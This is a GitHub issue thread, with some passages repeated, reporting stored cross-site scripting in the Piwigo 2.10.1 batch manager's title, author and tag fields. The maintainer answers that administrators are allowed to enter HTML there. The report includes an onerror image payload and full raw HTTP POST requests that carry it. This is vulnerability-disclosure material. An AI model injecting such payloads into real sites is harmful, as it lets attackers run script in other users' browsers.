Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Global Mode" tab in "batch_manager" page. Specifically in the action section.
How to reproduce:
Login into the application and upload any image file.
Go to the "batch_manager" page under "Photos" menu.
In "Global Mode" tab, select any image and in the action section select "Set Title" option.
In the title field insert the payload and hit enter.
Note: In this Mode all "Set Title", "Set Author" and "Set Tags" options are affected.
Description:
Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Global Mode" tab in "batch_manager" page. Specifically in the action section.
How to reproduce:
1. Login into the application and upload any image file.
2. Go to the "batch_manager" page under "Photos" menu.
3. In "Global Mode" tab, select any image and in the action section select "Set Title" option.
4. In the title field insert the payload <img src="X" onerror="alert(document.domain)"> and hit enter.
Note: In this Mode all "Set Title", "Set Author" and "Set Tags" options are affected.
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
1. Set Title field
*********************************************************************************************************
POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 655
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_id=7cbqr1qqln888l8kfuevbq3j64; pwg_display_thumbnail=no_display_thumbnail; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
start=0&pwg_token=8ed24b9b76c8e91cc8bbe022fbd1c757&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&setSelected=on&selection%5B%5D=1&selectAction=title&associate=1&dissociate=1&author=&title=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&date_creation=2020-01-17+00%3A00%3A00&level=0®enerateSuccess=0®enerateError=0&submit=
*********************************************************************************************************
2. Set Author field
*********************************************************************************************************
POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 641
Origin: http://172.16.163.1
Connection: close
Referer: http://172.16.163.1/piwig/admin.php?page=batch_manager
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=t2rehceos6pdqmked61pliif25; pwg_remember=1-1579317252-El61rixYj%2BDkMW1pS8UqG%2F9azxM%3D; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
Upgrade-Insecure-Requests: 1
start=0&pwg_token=4266fc8639bd394b648eed2ac50fba94&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&selection%5B%5D=1&selectAction=author&associate=3&dissociate=1&author=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&title=&date_creation=2020-01-18+00%3A00%3A00&level=0®enerateSuccess=0®enerateError=0&submit=
*********************************************************************************************************


<!-- github-sync-id:552308942 -->
That's not a bug. Piwigo let the administrator add HTML in a photo title.
It may seem "unexpected", but administrator have great freedom and responsibility.
Hi @ankit-c
That's not a bug. Piwigo let the administrator add HTML in a photo title.
It may seem "unexpected", but administrator have great freedom and responsibility.
<!-- github-comment-id:583479754 -->
Is administrator allowed to add HTML in "Author" and "Tags" fields too? Because these two fields are also affected.
Is administrator allowed to add HTML in "Author" and "Tags" fields too? Because these two fields are also affected.
<!-- github-comment-id:583490068 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Description:
Piwigo version 2.10.1 is affected by multiple stored cross site scripting vulnerabilities. These vulnerabilities exists in "Global Mode" tab in "batch_manager" page. Specifically in the action section.
How to reproduce:
Note: In this Mode all "Set Title", "Set Author" and "Set Tags" options are affected.
CVSS Score:
CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N
POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 655
Origin: http://172.16.163.1
Connection: close
Cookie: pwg_id=7cbqr1qqln888l8kfuevbq3j64; pwg_display_thumbnail=no_display_thumbnail; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
start=0&pwg_token=8ed24b9b76c8e91cc8bbe022fbd1c757&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&setSelected=on&selection%5B%5D=1&selectAction=title&associate=1&dissociate=1&author=&title=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&date_creation=2020-01-17+00%3A00%3A00&level=0®enerateSuccess=0®enerateError=0&submit=
POST /piwig/admin.php?page=batch_manager&mode=global HTTP/1.1
Host: 172.16.163.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 641
Origin: http://172.16.163.1
Connection: close
Referer: http://172.16.163.1/piwig/admin.php?page=batch_manager
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=t2rehceos6pdqmked61pliif25; pwg_remember=1-1579317252-El61rixYj%2BDkMW1pS8UqG%2F9azxM%3D; user_auth=eyJpdiI6IkxnaGp4T0RGd1BiK2VDUzNWNHpRdlE9PSIsInZhbHVlIjoiU29tK1pzdDQzUDBKcWlRZk5VN04wVUNxR1JXUjdBd1Q5QUtOaUJRbUhyNGVjc0xETWUwWFd0RkpBV2ZJOFBKd3R4N2o2clNTRlhWaWtmc2ttQ2dMM3VrWU0rZ1B5cDJlZnpoUGFCZ2hmaHpJTURTVXJQdCtlbEpyeEp6RzhNUVAiLCJtYWMiOiI4YjY2NTU4N2JhOTc2MzkyZTcwOTQyNWQ3OThkNDZkZjMyODgxYjhjZGQ0NGQ2NTFhMjg3NWRmMzM2OGIwZDYzIn0%3D
Upgrade-Insecure-Requests: 1
start=0&pwg_token=4266fc8639bd394b648eed2ac50fba94&filter_prefilter_use=on&filter_prefilter=caddie&filter_duplicates_date=on&filter_category=1&tag_mode=AND&filter_level=0&filter_dimension_min_width=225&filter_dimension_max_width=225&filter_dimension_min_height=225&filter_dimension_max_height=225&filter_dimension_min_ratio=1&filter_dimension_max_ratio=1&q=&filter_filesize_min=0.1&filter_filesize_max=0.1&selection%5B%5D=1&selectAction=author&associate=3&dissociate=1&author=%3Cimg+src%3D%22X%22+onerror%3D%22alert%28document.domain%29%22%3E&title=&date_creation=2020-01-18+00%3A00%3A00&level=0®enerateSuccess=0®enerateError=0&submit=
Hi @ankit-c
That's not a bug. Piwigo let the administrator add HTML in a photo title.
It may seem "unexpected", but administrator have great freedom and responsibility.
Is administrator allowed to add HTML in "Author" and "Tags" fields too? Because these two fields are also affected.
yes, they are. They don't "have to", but they "can".
Okay Thanks.